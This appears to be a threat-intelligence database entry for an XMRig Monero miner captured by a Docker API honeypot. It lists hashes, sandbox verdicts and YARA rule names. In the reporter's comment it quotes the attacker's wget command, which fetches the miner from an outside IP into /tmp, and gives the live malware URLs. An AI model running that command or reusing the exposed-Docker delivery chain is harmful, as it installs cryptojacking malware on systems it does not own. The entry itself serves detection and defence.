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Database Entry



CoinMiner


Vendor detections: 9


Intelligence 9 IOCs YARA 11 File information Comments 1

SHA256 hash: adfa14deed04a850938bf48ef190b1f30b93d1bebe07ad2e7d0b48d8a03bdabc
SHA3-384 hash: 033ea319ca0e032509b49777cac9fe32bd15cab6f1f6ab90ca4402e301992d871361a7e75cbe19d9137527d67cf914db
SHA1 hash: e882c96908a674c5e0fe757c7fa3220831c3e8b2
MD5 hash: 775196e6aa8c3dfd0ca492a0ba61c57d
humanhash: mirror-failed-sodium-bulldog
File name:xmrig_dropped.elf
Download: download sample
Signature CoinMiner
File size:5'642'288 bytes
First seen:2026-06-02 13:08:56 UTC
Last seen:Never
File type: elf
MIME type:application/x-executable
ssdeep 98304:pJHqPBEyaD71+euktzX07w8w0JArrMGAB3UPEeG9dk7esNC0+JLu9uRNrPODOmv:IasgG9mtNgu4nOCg
TLSH T16E468D4BF1F394ACC09FC4340B5BD592AA7074B802357A3B3794AA312E77EA15769F21
telfhash t1592262b09ae930b19196c75af7a2f5b49a331cf652f835b0852a7d42cfc4fc40c56c2a
TrID 50.1% (.) ELF Executable and Linkable format (Linux) (4022/12)
49.8% (.O) ELF Executable and Linkable format (generic) (4000/1)
Magika elf
Reporter nullblue67
Tags:alpine-container CoinMiner elf linux miner Monero XMRIG

Intelligence


File Origin
# of uploads :
1
# of downloads :
63
Origin country :
ES ES
Vendor Threat Intelligence
No detections
Result
Verdict:
Malware
Maliciousness:

Behaviour
Collects information on the CPU
Verdict:
Likely Malicious
Threat level:
  7.5/10
Confidence:
100%
Tags:
gcc miner
Status:
terminated
Behavior Graph:
%3 guuid=28c56cde-1600-0000-e064-5258f60c0000 pid=3318 /usr/bin/sudo guuid=f1061ee1-1600-0000-e064-5258000d0000 pid=3328 /tmp/sample.bin mprotect-exec guuid=28c56cde-1600-0000-e064-5258f60c0000 pid=3318->guuid=f1061ee1-1600-0000-e064-5258000d0000 pid=3328 execve
Threat name:
Linux.Coinminer.XMRig
Status:
Malicious
First seen:
2026-06-02 13:10:55 UTC
File Type:
ELF64 Little (Exe)
AV detection:
23 of 36 (63.89%)
Threat level:
  4/5
Result
Malware family:
Score:
  10/10
Tags:
family:xmrig discovery linux miner
Behaviour
Reads CPU attributes
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YARA Signatures


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Rule name:CP_Script_Inject_Detector
Author:DiegoAnalytics
Description:Detects attempts to inject code into another process across PE, ELF, Mach-O binaries
Rule name:F01_s1ckrule
Author:s1ckb017
Rule name:ldpreload
Author:xorseed
Reference:https://stuff.rop.io/
Rule name:Linux_Trojan_Pornoasset_927f314f
Author:Elastic Security
Rule name:MacOS_Cryptominer_Xmrig_241780a1
Author:Elastic Security
Rule name:Multi_Cryptominer_Xmrig_f9516741
Author:Elastic Security
Rule name:TH_Generic_MassHunt_Linux_Malware_2026_CYFARE
Author:CYFARE
Description:Generic Linux malware mass-hunt rule - 2026
Reference:https://cyfare.net/
Rule name:unixredflags3
Author:Tim Brown @timb_machine
Description:Hunts for UNIX red flags
Rule name:WHIRLPOOL_Constants
Author:phoul (@phoul)
Description:Look for WhirlPool constants
Rule name:XMRIG_Monero_Miner
Author:Florian Roth (Nextron Systems)
Description:Detects Monero mining software
Reference:https://github.com/xmrig/xmrig/releases
Rule name:xmrig_v1
Author:RandomMalware

File information


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Comments



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commented on 2026-06-02 13:12:48 UTC

🍯 Captured via Docker API honeypot — captured by NullBlue67 — 2026-06-02.

Standard XMRig miner binary deployed via cryptojacking campaign.

Delivery chain:
• Attacker 151.243.150.40 (IR) hit Docker API /containers/create with alpine:latest image
• Container fetches: wget -qO /tmp/._x http://151.243.150.40/xmrig
• Backup URL: http://151.243.150.40:8080/static/xmrig-linux-x64
• Victim drop path: /tmp/._x

Binary details:
• ELF 64-bit x86_64, statically linked, stripped
• BuildID: a71c406483dd4f8482f9bf6ba78b705a84656b8f
• MD5: 775196e6aa8c3dfd0ca492a0ba61c57d
• Compiled GCC 13.3.0 (Ubuntu 24.04.1)
• 5.6 MB
• Algorithms: RandomX, RandomX-Graft, RandomXYadaCoin

XMRig version exposed (xmrig.com/wizard, --donate-level, RandomX modes). Standard upstream XMRig — not modified, just repurposed for cryptojacking.

Reported infrastructure:
• 151.243.150.40:80 → ThreatFox + AbuseIPDB (100% confidence)
• Filenames: xmrig / xmrig-linux-x64

#xmrig #monero #cryptojacking #docker-api #miner #linux